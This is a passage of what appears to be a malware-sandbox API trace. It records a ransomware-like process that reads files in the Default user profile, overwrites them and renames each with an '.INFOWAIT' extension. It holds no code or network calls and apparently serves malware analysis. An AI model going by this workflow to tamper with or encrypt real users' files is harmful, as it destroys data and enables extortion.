[0142.190] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.190] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.190] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xae, lpOverlapped=0x0) returned 1 [0142.190] CloseHandle (hObject=0xad4) returned 1 [0142.190] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini" [0142.190] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini.INFOWAIT" [0142.190] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn\\burn\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn\\burn\\desktop.ini.infowait")) returned 1 [0142.191] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.191] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.192] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.192] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.192] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa000 [0142.192] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.193] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.193] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa000, lpOverlapped=0x0) returned 1 [0142.292] VirtualAlloc (lpAddress=0x0, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.296] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.296] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa000, lpOverlapped=0x0) returned 1 [0142.296] CloseHandle (hObject=0xad4) returned 1 [0142.296] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" [0142.296] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl.INFOWAIT" [0142.296] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl.infowait")) returned 1 [0142.297] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.298] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.298] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.298] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.299] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0142.299] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.299] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.299] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4000, lpOverlapped=0x0) returned 1 [0142.361] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.363] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.363] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4000, lpOverlapped=0x0) returned 1 [0142.363] CloseHandle (hObject=0xad4) returned 1 [0142.363] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" [0142.363] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl.INFOWAIT" [0142.363] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl.infowait")) returned 1 [0142.364] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.364] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.365] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.365] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.365] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0142.365] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.365] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.365] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18, lpOverlapped=0x0) returned 1 [0142.367] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.367] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.367] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18, lpOverlapped=0x0) returned 1 [0142.367] CloseHandle (hObject=0xad4) returned 1 [0142.367] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" [0142.367] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.INFOWAIT" [0142.367] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.infowait")) returned 1 [0142.369] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.370] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.370] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.370] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.371] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x100000 [0142.371] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.371] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.371] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0142.457] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0142.466] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.466] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0142.466] CloseHandle (hObject=0xad4) returned 1 [0142.466] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" [0142.466] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.INFOWAIT" [0142.466] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.infowait")) returned 1 [0142.467] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.468] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.468] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.468] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.469] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0142.469] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.469] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.469] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18, lpOverlapped=0x0) returned 1 [0142.470] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.471] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.471] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18, lpOverlapped=0x0) returned 1 [0142.471] CloseHandle (hObject=0xad4) returned 1 [0142.471] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" [0142.471] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.INFOWAIT" [0142.471] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.infowait")) returned 1 [0142.471] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.472] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.472] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.472] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.473] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0142.473] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.473] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.473] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18, lpOverlapped=0x0) returned 1 [0142.475] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.475] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.475] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18, lpOverlapped=0x0) returned 1 [0142.475] CloseHandle (hObject=0xad4) returned 1 [0142.475] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" [0142.475] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.INFOWAIT" [0142.475] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.infowait")) returned 1 [0142.476] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.476] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.477] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.477] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.477] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcb8 [0142.477] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.477] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.477] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xcb8, lpOverlapped=0x0) returned 1 [0142.502] VirtualAlloc (lpAddress=0x0, dwSize=0xcb8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.502] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.502] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xcb8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xcb8, lpOverlapped=0x0) returned 1 [0142.502] CloseHandle (hObject=0xad4) returned 1 [0142.502] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" [0142.502] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.INFOWAIT" [0142.502] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.infowait")) returned 1 [0142.503] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.504] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.504] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.504] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.504] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0142.504] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.505] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.505] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18, lpOverlapped=0x0) returned 1 [0142.506] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.506] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.506] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18, lpOverlapped=0x0) returned 1 [0142.506] CloseHandle (hObject=0xad4) returned 1 [0142.506] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" [0142.507] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db", 